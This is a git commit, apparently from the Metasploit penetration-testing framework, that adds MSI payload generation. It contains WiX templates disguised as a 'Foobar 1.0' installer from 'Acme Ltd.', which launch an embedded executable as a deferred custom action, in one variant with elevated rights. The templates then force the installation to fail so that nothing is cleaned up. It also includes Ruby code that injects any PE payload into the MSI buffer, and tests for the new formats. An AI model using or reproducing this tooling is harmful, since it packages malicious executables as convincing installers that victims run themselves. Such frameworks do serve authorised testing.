Land #1569, MSI payloads

The bins are signed by Meatballs, everything looks good here, so
landing. Thanks for your patience on these!
bug/bundler_fix
Tod Beardsley 2013-09-27 16:29:27 -05:00
commit 2fb770f73e
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
11 changed files with 215 additions and 7 deletions

3
data/templates/src/msi/.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
*.msi
*.wixobj
*.wixpdb

View File

@ -0,0 +1,7 @@
Compile using WiX: http://wixtoolset.org
Recompile with a larger buffer file to increase the available
buffer size for larger payloads if required.
candle template_x86_windows.wxs
light template_x86_windows.wixobj

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,18 @@
@echo off
REM Set PATH to location of your WiX binaries
SET PATH=%PATH%;c:\tools\local\wix38-binaries\
@echo on
candle template_windows.wxs
light template_windows.wixobj
copy template_windows.msi ..\..\template_windows.msi
del template_windows.msi
del template_windows.wixobj
del template_windows.wixpdb
candle template_nouac_windows.wxs
light template_nouac_windows.wixobj
copy template_nouac_windows.msi ..\..\template_nouac_windows.msi
del template_nouac_windows.msi
del template_nouac_windows.wixobj
del template_nouac_windows.wixpdb

View File

@ -0,0 +1,38 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" InstallPrivileges="limited" />
<Media Id='1' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
<Binary Id='Payload' SourceFile='buffer' />
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='yes' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<!-- Define ALLUSERS with a blank value -->
<Property Id="ALLUSERS" Secure="yes"/>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecPayload" After="InstallInitialize" />
<Custom Action="FailInstallation" Before="InstallFiles" />
</InstallExecuteSequence>
</Product>
</Wix>

View File

@ -0,0 +1,35 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
<Media Id='1' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
<Binary Id='Payload' SourceFile='buffer' />
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecPayload" After="InstallInitialize" />
<Custom Action="FailInstallation" Before="InstallFiles" />
</InstallExecuteSequence>
</Product>
</Wix>

Binary file not shown.

Binary file not shown.

View File

@ -20,15 +20,20 @@ module Exploit::EXE
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ])
], self.class)
end
def get_custom_exe
print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!")
def get_custom_exe(path=nil)
path ||= datastore['EXE::Custom']
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
datastore['DisablePayloadHandler'] = true
file = ::File.open(datastore['EXE::Custom'],'rb')
file = ::File.open(path,'rb')
exe = file.read(file.stat.size)
file.close
exe
@ -99,6 +104,22 @@ module Exploit::EXE
dll
end
def generate_payload_msi(opts = {})
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
exe = generate_payload_exe(opts)
opts.merge! ({
:msi_template => datastore['MSI::Template'],
:msi_template_path => datastore['MSI::Path'],
:uac => datastore['MSI:UAC']
})
msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts)
return msi
end
protected
def exe_init_options(opts)
opts.merge!(

View File

@ -27,7 +27,7 @@ require 'msf/core/exe/segment_injector'
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one.
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
path ||= File.join(Msf::Config.data_directory, "templates")
# If there's no default name, we must blow it up.
if not exe
@ -489,6 +489,66 @@ require 'msf/core/exe/segment_injector'
exe_sub_method(code,opts)
end
#
# Wraps an executable inside a Windows
# .msi file for auto execution when run
#
def self.to_exe_msi(framework, exe, opts={})
if opts[:uac]
opts[:msi_template] ||= "template_nouac_windows.msi"
else
opts[:msi_template] ||= "template_windows.msi"
end
return replace_msi_buffer(exe, opts)
end
def self.replace_msi_buffer(pe, opts)
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
if opts[:msi_template].include?(File::SEPARATOR)
template = opts[:msi_template]
else
template = File.join(opts[:msi_template_path], opts[:msi_template])
end
msi = ''
File.open(template, "rb") { |fd|
msi = fd.read(fd.stat.size)
}
section_size = 2**(msi[30..31].unpack('s')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
buffer_chain = []
current_secid = 5 # This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
return msi
end
def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template
@ -1586,6 +1646,25 @@ def self.to_vba(framework,code,opts={})
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
end
when 'msi'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'msi-nouac'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
exeopts[:uac] = true
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
output = case arch
@ -1651,7 +1730,7 @@ def self.to_vba(framework,code,opts={})
def self.to_executable_fmt_formats
[
'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net'
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac'
]
end

View File

@ -38,6 +38,12 @@ shared_context 'Msf::Util::Exe' do
{ :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ },
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
{ :format => "war", :arch => "x86_64", :file_fp => /Zip/ },
{ :format => "msi", :arch => "x86", :file_fp => /Composite Document/ },
{ :format => "msi", :arch => "x64", :file_fp => /Composite Document/ },
{ :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ },
{ :format => "msi-nouac", :arch => "x86", :file_fp => /Composite Document/ },
{ :format => "msi-nouac", :arch => "x64", :file_fp => /Composite Document/ },
{ :format => "msi-nouac", :arch => "x86_64", :file_fp => /Composite Document/ },
],
"linux" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },